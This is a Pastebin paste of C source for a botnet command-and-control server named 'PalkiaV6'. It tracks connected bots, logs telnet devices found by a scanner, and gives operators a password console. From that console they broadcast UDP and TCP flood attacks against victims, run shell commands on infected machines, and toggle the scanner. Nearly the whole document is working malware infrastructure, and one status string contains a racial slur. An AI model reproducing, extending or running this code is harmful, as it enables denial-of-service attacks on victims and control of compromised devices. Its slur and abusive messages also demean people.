ZucoCheezy

PalkiaV6-Server

Dec 1st, 2018
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 17.75 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: bl4ck.j3sus
  4. Changes: Fixed The Telnet Status, Took The Banner Idea From Zekrom, Changed The Way You screen the server
  5. */
  6. /*
  7.  
  8. # ___     __________  ____ _______      _____ _______________.___.  ___    
  9. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  10. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  11. #           |    |   \ |   /    |    \/    |    \    |   \\____   |          
  12. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  13. #                  \/              \/         \/       \/ \/                
  14.  
  15.                         *** PALKIA SERVER.C ***
  16.                           ***  VERSION 6  ***
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <stdint.h>
  21. #include <inttypes.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <unistd.h>
  27. #include <time.h>
  28. #include <fcntl.h>
  29. #include <sys/epoll.h>
  30. #include <errno.h>
  31. #include <pthread.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #define MAXFDS 1000000
  35. //////////////////////////////////
  36.  
  37. struct account {
  38.     char id[20];
  39.     char password[20];
  40. };
  41. static struct account accounts[10];
  42.  
  43. struct clientdata_t {
  44.         uint32_t ip;
  45.         char connected;
  46. } clients[MAXFDS];
  47.  
  48. struct telnetdata_t {
  49.         int connected;
  50. } managements[MAXFDS];
  51.  
  52. struct args {
  53.         int sock;
  54.         struct sockaddr_in cli_addr;
  55. };
  56. //////////////////////////////////
  57. static volatile FILE *telFD;
  58. static volatile FILE *fileFD;
  59. static volatile int epollFD = 0;
  60. static volatile int listenFD = 0;
  61. static volatile int managesConnected = 0;
  62. static volatile int TELFound = 0;
  63. static volatile int scannerreport;
  64. //////////////////////////////////
  65. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  66. {
  67.         int total = 0, got = 1;
  68.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  69.         return got;
  70. }
  71.  
  72. void trim(char *str)
  73. {
  74.     int i;
  75.     int begin = 0;
  76.     int end = strlen(str) - 1;
  77.     while (isspace(str[begin])) begin++;
  78.     while ((end >= begin) && isspace(str[end])) end--;
  79.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  80.     str[i - begin] = '\0';
  81. }
  82.  
  83.  
  84. static int make_socket_non_blocking (int sfd)
  85. {
  86.         int flags, s;
  87.         flags = fcntl (sfd, F_GETFL, 0);
  88.         if (flags == -1)
  89.         {
  90.                 perror ("fcntl");
  91.                 return -1;
  92.         }
  93.         flags |= O_NONBLOCK;
  94.         s = fcntl (sfd, F_SETFL, flags);
  95.         if (s == -1)
  96.         {
  97.                 perror ("fcntl");
  98.                 return -1;
  99.         }
  100.         return 0;
  101. }
  102.  
  103. static int create_and_bind (char *port)
  104. {
  105.         struct addrinfo hints;
  106.         struct addrinfo *result, *rp;
  107.         int s, sfd;
  108.         memset (&hints, 0, sizeof (struct addrinfo));
  109.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  110.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  111.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  112.         s = getaddrinfo (NULL, port, &hints, &result);
  113.         if (s != 0)
  114.         {
  115.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  116.                 return -1;
  117.         }
  118.         for (rp = result; rp != NULL; rp = rp->ai_next)
  119.         {
  120.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  121.                 if (sfd == -1) continue;
  122.                 int yes = 1;
  123.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  124.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  125.                 if (s == 0)
  126.                 {
  127.                         break;
  128.                 }
  129.                 close (sfd);
  130.         }
  131.         if (rp == NULL)
  132.         {
  133.                 fprintf (stderr, "Could not bind\n");
  134.                 return -1;
  135.         }
  136.         freeaddrinfo (result);
  137.         return sfd;
  138. }
  139.  
  140. void broadcast(char *msg, int us)
  141. {
  142.         int sendMGM = 1;
  143.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  144.         int i;
  145.         for(i = 0; i < MAXFDS; i++)
  146.         {
  147.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  148.                 if(sendMGM && managements[i].connected)
  149.                 {
  150.                         send(i, "\n", 0, MSG_NOSIGNAL);
  151.                 }
  152.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  153.                 if(sendMGM && managements[i].connected) {
  154.                     send(i, "\n", 0, MSG_NOSIGNAL);
  155.                 } else send(i, "\n", 1, MSG_NOSIGNAL);
  156.         }
  157. }
  158.  
  159. void *BotEventLoop(void *useless) {
  160.     struct epoll_event event;
  161.     struct epoll_event *events;
  162.     int s;
  163.     events = calloc (MAXFDS, sizeof event);
  164.     while (1) {
  165.         int n, i;
  166.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  167.         for (i = 0; i < n; i++) {
  168.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  169.                 clients[events[i].data.fd].connected = 0;
  170.                 close(events[i].data.fd);
  171.                 continue;
  172.             }
  173.             else if (listenFD == events[i].data.fd) {
  174.                while (1) {
  175.                 struct sockaddr in_addr;
  176.                 socklen_t in_len;
  177.                 int infd, ipIndex;
  178.  
  179.                 in_len = sizeof in_addr;
  180.                 infd = accept (listenFD, &in_addr, &in_len);
  181.                 if (infd == -1) {
  182.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  183.                     else {
  184.                         perror ("accept");
  185.                         break;
  186.                          }
  187.                 }
  188.  
  189.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  190.                 int dup = 0;
  191.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  192.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  193.                     if(clients[ipIndex].ip == clients[infd].ip) {
  194.                         dup = 1;
  195.                         break;
  196.                     }}
  197.                 if(dup) {
  198.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  199.                     close(infd);
  200.                     continue;
  201.                 }
  202.                 s = make_socket_non_blocking (infd);
  203.                 if (s == -1) { close(infd); break; }
  204.                 event.data.fd = infd;
  205.                 event.events = EPOLLIN | EPOLLET;
  206.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  207.                 if (s == -1) {
  208.                     perror ("epoll_ctl");
  209.                     close(infd);
  210.                     break;
  211.                 }
  212.                 clients[infd].connected = 1;
  213.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  214.             }
  215.             continue;
  216.         }
  217.         else {
  218.             int thefd = events[i].data.fd;
  219.             struct clientdata_t *client = &(clients[thefd]);
  220.             int done = 0;
  221.             client->connected = 1;
  222.             while (1) {
  223.                 ssize_t count;
  224.                 char buf[2048];
  225.                 memset(buf, 0, sizeof buf);
  226.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) {
  227.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  228.                     trim(buf);
  229.                     if(strcmp(buf, "PING") == 0) {
  230.                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  231.                         continue;
  232.                     }
  233.                     if(strstr(buf, "REPORT ") == buf) {
  234.                         char *line = strstr(buf, "REPORT ") + 7;
  235.                         fprintf(telFD, "%s\n", line);
  236.                         fflush(telFD);
  237.                         TELFound++;
  238.                         continue;
  239.                     }
  240.                     if(strstr(buf, "PROBING") == buf) {
  241.                         char *line = strstr(buf, "PROBING");
  242.                         scannerreport = 1;
  243.                         continue;
  244.                     }
  245.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  246.                         char *line = strstr(buf, "REMOVING PROBE");
  247.                         scannerreport = 0;
  248.                         continue;
  249.                     }
  250.                     if(strcmp(buf, "PONG") == 0) {
  251.                         continue;
  252.                     }
  253.                     printf("buf: \"%s\"\n", buf);
  254.                 }
  255.                 if (count == -1) {
  256.                     if (errno != EAGAIN) {
  257.                         done = 1;
  258.                     }
  259.                     break;
  260.                 }
  261.                 else if (count == 0) {
  262.                     done = 1;
  263.                     break;
  264.                 }
  265.             if (done) {
  266.                 client->connected = 0;
  267.                 close(thefd);
  268. }}}}}}
  269.  
  270. unsigned int clientsConnected()
  271. {
  272.         int i = 0, total = 0;
  273.         for(i = 0; i < MAXFDS; i++)
  274.         {
  275.                 if(!clients[i].connected) continue;
  276.                 total++;
  277.         }
  278.  
  279.         return total;
  280. }
  281.  
  282. void *titleWriter(void *sock)
  283. {
  284.         int thefd = (int)sock;
  285.         char string[2048];
  286.         while(1)
  287.         {
  288.                 memset(string, 0, 2048);
  289.                 sprintf(string, "%c]0;Bots connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  290.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  291.                 sleep(2);
  292.         }
  293. }
  294.  
  295. int Search_in_File(char *str)
  296. {
  297.     FILE *fp;
  298.     int line_num = 0;
  299.     int find_result = 0, find_line=0;
  300.     char temp[512];
  301.  
  302.     if((fp = fopen("login.txt", "r")) == NULL){
  303.         return(-1);
  304.     }
  305.     while(fgets(temp, 512, fp) != NULL){
  306.         if((strstr(temp, str)) != NULL){
  307.             find_result++;
  308.             find_line = line_num;
  309.         }
  310.         line_num++;
  311.     }
  312.     if(fp)
  313.         fclose(fp);
  314.     if(find_result == 0)return 0;
  315.     return find_line;
  316. }
  317.  
  318. void *telnetWorker(void *sock)
  319. {
  320.         int thefd = (int)sock;
  321.         int find_line;
  322.         managesConnected++;
  323.         pthread_t title;
  324.         char counter[2048];
  325.         char buf[2048];
  326.         char* nickstring;
  327.         char* username;
  328.         char* password;
  329.         memset(buf, 0, sizeof buf);
  330.         char botnet[2048];
  331.         memset(botnet, 0, 2048);
  332.        
  333.         FILE *fp;
  334.         int i=0;
  335.         int c;
  336.         fp=fopen("login.txt", "r");
  337.         while(!feof(fp))
  338.         {
  339.                 c=fgetc(fp);
  340.                 ++i;
  341.         }
  342.         int j=0;
  343.         rewind(fp);
  344.         while(j!=i-1)
  345.         {
  346.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  347.             ++j;
  348.         }
  349.        
  350.         if(send(thefd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  351.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  352.         trim(buf);
  353.         nickstring = ("%s", buf);
  354.         find_line = Search_in_File(nickstring);
  355.         if(strcmp(nickstring, accounts[find_line].id) == 0){                   
  356.         if(send(thefd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  357.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  358.         trim(buf);
  359.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  360.         memset(buf, 0, 2048);
  361.         goto Banner;
  362.         }
  363.         failed:
  364.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  365.         char failed_line1[80];
  366.         char failed_line2[80];
  367.        
  368.         sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  369.         sprintf(failed_line2, "\x1b[31mGET THE FUCK OFF MY NET\r\n");
  370.        
  371.         if(send(thefd, "\x1b[31m++++++++++++++++++++++++++++++++++++\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  372.         if(send(thefd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  373.         if(send(thefd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  374.         if(send(thefd, "\x1b[31m++++++++++++++++++++++++++++++++++++\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  375.         sleep(5);
  376.         goto end;
  377.        
  378.         Banner:
  379.         pthread_create(&title, NULL, &titleWriter, sock);
  380.         char welcome_line [80];
  381.         char ascii_banner_line1 [5000];
  382.         char ascii_banner_line2 [5000];
  383.         char ascii_banner_line3 [5000];
  384.         char ascii_banner_line4 [5000];
  385.         char ascii_banner_line5 [5000];
  386.         char ascii_banner_line6 [5000];
  387.         char ascii_banner_line7 [5000];
  388.         char ascii_banner_line8 [5000];
  389.        
  390.         sprintf(ascii_banner_line1, "\x1b[31m   ▄███████▄    ▄████████  ▄█          ▄█   ▄█▄  ▄█     ▄████████\r\n");
  391.         sprintf(ascii_banner_line2, "\x1b[31m  ███    ███   ███    ███ ███         ███ ▄███▀ ███    ███    ███\r\n");
  392.         sprintf(ascii_banner_line3, "\x1b[31m  ███    ███   ███    ███ ███         ███▐██▀   ███▌   ███    ███\r\n");
  393.         sprintf(ascii_banner_line4, "\x1b[31m  ███    ███   ███    ███ ███        ▄█████▀    ███▌   ███    ███\r\n");
  394.         sprintf(ascii_banner_line5, "\x1b[31m▀█████████▀  ▀███████████ ███       ▀▀█████▄    ███▌ ▀███████████\r\n");
  395.         sprintf(ascii_banner_line6, "\x1b[31m  ███          ███    ███ ███         ███▐██▄   ███    ███    ███\r\n");
  396.         sprintf(ascii_banner_line7, "\x1b[31m  ███          ███    ███ ███▌    ▄   ███ ▀███▄ ███    ███    ███\r\n");
  397.         sprintf(ascii_banner_line8, "\x1b[31m ▄████▀        ███    █▀  █████▄▄██   ███   ▀█▀ █▀     ███    █▀\r\n");                
  398.         sprintf(welcome_line,       "\r\n\x1b[31m                       ~[Welcome, %s]~\r\n", accounts[find_line].id);
  399.        
  400.         if(send(thefd,              "\x1b[31m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n", 73, MSG_NOSIGNAL) == -1) goto end;
  401.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  402.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  403.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  404.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  405.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  406.         if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  407.         if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  408.         if(send(thefd,              "\x1b[31m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n", 73, MSG_NOSIGNAL) == -1) goto end;
  409.         if(send(thefd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  410.         pthread_create(&title, NULL, &titleWriter, sock);
  411.         managements[thefd].connected = 1;
  412.  
  413.         while(fdgets(buf, sizeof buf, thefd) > 0)
  414.         {
  415.             if(strstr(buf, "KILL"))
  416.             {
  417.                 sprintf(botnet, "!* KILLATTK");
  418.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  419.             }
  420.             if(strstr(buf, "!* STATUS"))
  421.             {
  422.                 sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  423.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  424.             }
  425.             if(strstr(buf, "!* BOTS"))
  426.             {  
  427.                 sprintf(botnet, "Bots connected: %d | Staff connected: %d\r\n", clientsConnected(), managesConnected);
  428.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  429.             }
  430.             if(strstr(buf, "!* HELP"))
  431.             {  
  432.                 sprintf(botnet, "\r\n[+]Attack commands[+]\r\n!* UDP Victim Port Time 32 0 10 - UDP Attacker\r\n!* TCP Victim Port Time 32 all 0 10 - TCP Attacker\r\n!* KILLATTK - Kills all the on going attacks\r\n\r\n[+]Global commands[+]\r\n!* SH - Executes a shell command\r\n!* BOTS - Shows the bot count\r\n!* SCANNER ON | OFF - Telnet scanner\r\n");
  433.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  434.             }
  435.             FILE *logFile;
  436.                 logFile = fopen("server.log", "a");
  437.                 time_t now;
  438.                 struct tm *gmt;
  439.                 char formatted_gmt [50];
  440.                 char lcltime[50];
  441.                 now = time(NULL);
  442.                 gmt = gmtime(&now);
  443.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  444.                 fprintf(logFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].id, buf);
  445.                 fclose(logFile);
  446.                 broadcast(buf, thefd);
  447.                 memset(buf, 0, 2048);
  448.         }
  449.         end:
  450.                 managements[thefd].connected = 0;
  451.                 close(thefd);
  452.                 managesConnected--;
  453. }
  454.  
  455.  
  456. void *telnetListener(int port)
  457. {
  458.         int sockfd, newsockfd;
  459.         socklen_t clilen;
  460.         struct sockaddr_in serv_addr, cli_addr;
  461.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  462.         if (sockfd < 0) perror("ERROR opening socket");
  463.         bzero((char *) &serv_addr, sizeof(serv_addr));
  464.         serv_addr.sin_family = AF_INET;
  465.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  466.         serv_addr.sin_port = htons(port);
  467.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  468.         listen(sockfd,5);
  469.         clilen = sizeof(cli_addr);
  470.         while(1)
  471.         {
  472.             newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  473.             if (newsockfd < 0) perror("ERROR on accept");
  474.             pthread_t thread;
  475.             pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  476.         }
  477. }
  478.  
  479. int main (int argc, char *argv[], void *sock)
  480. {
  481.         signal(SIGPIPE, SIG_IGN);
  482.         int s, threads, port;
  483.         struct epoll_event event;
  484.         if (argc != 4) {
  485.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  486.             exit (EXIT_FAILURE);
  487.         }
  488.         port = atoi(argv[3]);
  489.         telFD = fopen("telnet.txt", "a+");
  490.         threads = atoi(argv[2]);
  491.         listenFD = create_and_bind (argv[1]);
  492.         if (listenFD == -1) abort ();
  493.         s = make_socket_non_blocking (listenFD);
  494.         if (s == -1) abort ();
  495.         s = listen (listenFD, SOMAXCONN);
  496.         if (s == -1) {
  497.             perror ("listen");
  498.             abort ();
  499.         }
  500.         epollFD = epoll_create1 (0);
  501.         if (epollFD == -1) {
  502.             perror ("epoll_create");
  503.             abort ();
  504.         }
  505.         event.data.fd = listenFD;
  506.         event.events = EPOLLIN | EPOLLET;
  507.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  508.         if (s == -1) {
  509.             perror ("epoll_ctl");
  510.             abort ();
  511.         }
  512.         pthread_t thread[threads + 2];
  513.         while(threads--) {
  514.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  515.         }
  516.         pthread_create(&thread[0], NULL, &telnetListener, port);
  517.         while(1) {
  518.             broadcast("PING", -1);
  519.             sleep(60);
  520.         }
  521.         close (listenFD);
  522.         return EXIT_SUCCESS;
  523. }
Advertisement
Add Comment
Please, Sign In to add comment